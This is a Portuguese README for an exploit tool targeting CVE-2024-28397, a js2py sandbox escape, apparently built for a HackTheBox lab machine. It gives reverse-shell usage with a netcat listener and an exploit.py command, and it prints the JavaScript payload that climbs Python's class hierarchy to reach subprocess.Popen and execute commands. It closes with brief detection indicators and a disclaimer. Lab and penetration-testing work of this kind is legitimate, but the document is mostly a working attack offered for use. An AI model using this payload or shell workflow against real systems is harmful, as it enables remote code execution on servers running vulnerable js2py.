
Este repositório contém um código de exploit em Python para a CVE-2024-28397, destinado ao uso na máquina "CodePartTwo" do Hack The Box (HTB).
Um código de exploit em Python para CVE-2024-28397, uma vulnerabilidade crítica em js2py <= 0.74 que permite escape de sandbox e execução remota de código.
js2py é uma biblioteca Python popular para avaliar código JavaScript em ambientes Python. Esta vulnerabilidade permite que atacantes escapem do ambiente de sandbox do js2py e executem comandos arbitrários do Python/sistema, mesmo quando js2py.disable_pyimport() está habilitado.
O exploit aproveita os recursos de introspecção de objetos do Python por meio de JavaScript para acessar a classe subprocess.Popen e executar comandos do sistema.
pip install requests
# Start netcat listener
nc -lnvp 4444
# Run exploit
python3 exploit.py --target http://target.com:8000/run_code --lhost 10.10.14.100 --lport 4444
--target Target URL endpoint (required)
--lhost Local IP for reverse shell (required)
--lport Local port for reverse shell (default: 4444)
python3 exploit.py --target http://10.10.11.82:8000/run_code --lhost 10.10.14.100
__class__ e __base__subprocess.Popen por meio de introspecçãoO exploit funciona ao:
Object.getOwnPropertyNames({}).__class__.__base__.__getattribute____subclasses__()subprocess.Popen// Access Python object hierarchy
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;
let obj = a(a(a, "__class__"), "__base__");
// Find subprocess.Popen class
function findpopen(o) {
// Recursive search through subclasses
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i];
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item;
}
}
}
// Execute command
let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
Procure por código JavaScript contendo:
__class__ ou ___class_____subclasses__()subprocess ou Popenprintf e base64 -dEsta ferramenta é apenas para testes de penetração autorizados e fins educacionais. Os usuários são responsáveis por cumprir as leis e regulamentos aplicáveis. O acesso não autorizado a sistemas de computador é ilegal.
Este projeto está licenciado sob a Licença MIT - consulte o arquivo LICENSE para obter detalhes.